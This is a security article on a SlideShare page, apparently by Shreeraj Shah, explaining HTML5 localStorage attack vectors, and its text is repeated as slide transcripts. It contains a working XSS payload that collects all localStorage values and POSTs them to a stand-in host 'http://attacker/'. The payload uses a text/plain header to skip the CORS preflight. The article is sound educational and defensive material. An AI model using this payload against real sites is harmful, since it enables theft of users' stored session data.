SlideShare a Scribd company logo
HTML5 localstorage Attack Vectors & Security
By Shreeraj Shah (Blueinfy & iAppSecure)

Storage can expand the attack surface for application users. Storage brings both privacy and security
concerns for end clients within their browsers. It is imperative to have an appropriate defense and
proper protection in place to address this set of issues. The following attacks are possible:

Attack agent fetching sensitive information

LocalStorage is created on the physical hard drive and this file can be accessed by malware or virus that
has access to the underlying OS. For example, as in the case of Chrome, a SQLite file is created in the
user directory as shown below.




Figure 1 – Dir listing of localStorage SQLite files in the user directory in Chrome

It is easy to open files in any SQLite client application and see information stored by the application on
the local system as shown below.




Figure 2 – Viewing localStorage files in SQL client application
Hence, sensitive data stored on localstorage is at significant risk from various standpoints even though it
is of great value from a programming perspective.

Attack through XSS

XSS can be a lethal attack vector for storage. All storage would be accessible using JavaScript. A cookie
marked as HttpOnly would not available to and from JavaScript. But, with sessionStorage and
localStorage, the game changes a bit. Hence, if an application is discovered to be vulnerable to XSS, an
attacker can execute a payload to fetch all session and local storage values and send them back to his
own site. Sensitive information is compromised and the attacker gets access to the entire set of
interesting information. This XSS can be of any type – reflected, persistent or DOM-based.

For example, here is a simple payload.

var xmlhttp=false;
var ls = "";


if(localStorage.length){
          console.log(localStorage.length)
          for(i in localStorage){
                     ls += "("+i +"-"+localStorage.getItem(i)+")";
          }
}

function sendreq()
{
        xmlhttp = new XMLHttpRequest();
        xmlhttp.open("POST", "http://attacker/msg/"+ls+"", true);

        // Using text/plain to bypass preflight call
        xmlhttp.setRequestHeader("Content-Type", "text/plain");
        xmlhttp.send(ls);
}

sendreq();


Let’s look at the first loop shown below.

if(localStorage.length){
          console.log(localStorage.length)
          for(i in localStorage){
                     ls += "("+i +"-"+localStorage.getItem(i)+")";
          }
}
In this loop all variables from localStorage can be obtained using getItem() call and values can be fetched
along with the key. All of these get stored in the “ls” variable as shown below.




/

Figure 3 – Enumerating the contents of the variable “ls”

In the next call, the attacker can send this harvested value back to his own server and use the XHR call
with “text/plain” to bypass pre-flight call as shown below.

function sendreq()
{
        xmlhttp = new XMLHttpRequest();
        xmlhttp.open("POST", "http://attacker/msg/"+ls+"", true);

        // Using text/plain to bypass preflight call
        xmlhttp.setRequestHeader("Content-Type", "text/plain");
        xmlhttp.send(ls);
}

Finally, when the sendreq() call is made, the attacker gets the following response on the browser stack.




Figure 4 – browser stack response to the sendreq() call
Hence, the attacker is successful in enumerating values and sending them back to the server. It is
possible to apply the same routine to sessionStorage as well using that object. This technique is a
completely blind enumeration. No information is required for the application; if the application uses the
localStorage object, then loop through all objects to fetch values based on the type as shown below.

for(i in localStorage){
                    ls += "("+i +"-"+localStorage.getItem(i)+")";
           }


It is important to note that applications running with HTML5 use single DOM and when the attacker
finds DOM-based access then it is child’s play for him to inject and exploit DOM-based calls. These calls
could come from a third party server or the content could come from untrusted sources.

Tracking user and invading privacy

LocalStorage is permanent and it gets glued to the browser. An attacker or an advertising company can
drop a localStorage identifier for a specific domain and then have full tracking available through APIs.
These API calls can be passed to their respective sites to track users across the world since it is glued to
single browser. A company with multiple server access as an ad server can start tracking a user from a
single domain and craft their advertising game plan. This invades the privacy of the user. Using
localStorage, a user could be mapped to his/her real identity and would allow persistent tracking using
JavaScript. Currently, the privacy area is a little ignored from HTML5 point of view; in future this may be
a cause of concern for an end user.

DNS spoofing attack vector

LocalStorage is accessible based on the origin or domain. Hence, if DNS is spoofed, the attacker gets
access to the browser session. In this case the localStorage created by targetting the application can
provide access to the sensitive data stored on the browser. This can lead to a potential security breach
and data theft. For example, if a bank stores an identifier, profile and the last 5 transactions on the
localStorage, the attacker can get access to this sensitive set of information via DNS spoofing at the ISP
end. The application should defend their implementation by using TLS and that should ensure that the
correct certificate is present before communicating and executing JavaScript on the browser session.



About Author

Shreeraj Shah
Founder & Director
Blueinfy and iAppSecure
www.blueinfy.com | www.iappsecure.com
Blog: http://shreeraj.blogspot.com
Twitter: @shreeraj

More Related Content

Html5 localstorage attack vectors

  • 1. HTML5 localstorage Attack Vectors & Security By Shreeraj Shah (Blueinfy & iAppSecure) Storage can expand the attack surface for application users. Storage brings both privacy and security concerns for end clients within their browsers. It is imperative to have an appropriate defense and proper protection in place to address this set of issues. The following attacks are possible: Attack agent fetching sensitive information LocalStorage is created on the physical hard drive and this file can be accessed by malware or virus that has access to the underlying OS. For example, as in the case of Chrome, a SQLite file is created in the user directory as shown below. Figure 1 – Dir listing of localStorage SQLite files in the user directory in Chrome It is easy to open files in any SQLite client application and see information stored by the application on the local system as shown below. Figure 2 – Viewing localStorage files in SQL client application
  • 2. Hence, sensitive data stored on localstorage is at significant risk from various standpoints even though it is of great value from a programming perspective. Attack through XSS XSS can be a lethal attack vector for storage. All storage would be accessible using JavaScript. A cookie marked as HttpOnly would not available to and from JavaScript. But, with sessionStorage and localStorage, the game changes a bit. Hence, if an application is discovered to be vulnerable to XSS, an attacker can execute a payload to fetch all session and local storage values and send them back to his own site. Sensitive information is compromised and the attacker gets access to the entire set of interesting information. This XSS can be of any type – reflected, persistent or DOM-based. For example, here is a simple payload. var xmlhttp=false; var ls = ""; if(localStorage.length){ console.log(localStorage.length) for(i in localStorage){ ls += "("+i +"-"+localStorage.getItem(i)+")"; } } function sendreq() { xmlhttp = new XMLHttpRequest(); xmlhttp.open("POST", "http://attacker/msg/"+ls+"", true); // Using text/plain to bypass preflight call xmlhttp.setRequestHeader("Content-Type", "text/plain"); xmlhttp.send(ls); } sendreq(); Let’s look at the first loop shown below. if(localStorage.length){ console.log(localStorage.length) for(i in localStorage){ ls += "("+i +"-"+localStorage.getItem(i)+")"; } }
  • 3. In this loop all variables from localStorage can be obtained using getItem() call and values can be fetched along with the key. All of these get stored in the “ls” variable as shown below. / Figure 3 – Enumerating the contents of the variable “ls” In the next call, the attacker can send this harvested value back to his own server and use the XHR call with “text/plain” to bypass pre-flight call as shown below. function sendreq() { xmlhttp = new XMLHttpRequest(); xmlhttp.open("POST", "http://attacker/msg/"+ls+"", true); // Using text/plain to bypass preflight call xmlhttp.setRequestHeader("Content-Type", "text/plain"); xmlhttp.send(ls); } Finally, when the sendreq() call is made, the attacker gets the following response on the browser stack. Figure 4 – browser stack response to the sendreq() call
  • 4. Hence, the attacker is successful in enumerating values and sending them back to the server. It is possible to apply the same routine to sessionStorage as well using that object. This technique is a completely blind enumeration. No information is required for the application; if the application uses the localStorage object, then loop through all objects to fetch values based on the type as shown below. for(i in localStorage){ ls += "("+i +"-"+localStorage.getItem(i)+")"; } It is important to note that applications running with HTML5 use single DOM and when the attacker finds DOM-based access then it is child’s play for him to inject and exploit DOM-based calls. These calls could come from a third party server or the content could come from untrusted sources. Tracking user and invading privacy LocalStorage is permanent and it gets glued to the browser. An attacker or an advertising company can drop a localStorage identifier for a specific domain and then have full tracking available through APIs. These API calls can be passed to their respective sites to track users across the world since it is glued to single browser. A company with multiple server access as an ad server can start tracking a user from a single domain and craft their advertising game plan. This invades the privacy of the user. Using localStorage, a user could be mapped to his/her real identity and would allow persistent tracking using JavaScript. Currently, the privacy area is a little ignored from HTML5 point of view; in future this may be a cause of concern for an end user. DNS spoofing attack vector LocalStorage is accessible based on the origin or domain. Hence, if DNS is spoofed, the attacker gets access to the browser session. In this case the localStorage created by targetting the application can provide access to the sensitive data stored on the browser. This can lead to a potential security breach and data theft. For example, if a bank stores an identifier, profile and the last 5 transactions on the localStorage, the attacker can get access to this sensitive set of information via DNS spoofing at the ISP end. The application should defend their implementation by using TLS and that should ensure that the correct certificate is present before communicating and executing JavaScript on the browser session. About Author Shreeraj Shah Founder & Director Blueinfy and iAppSecure www.blueinfy.com | www.iappsecure.com Blog: http://shreeraj.blogspot.com Twitter: @shreeraj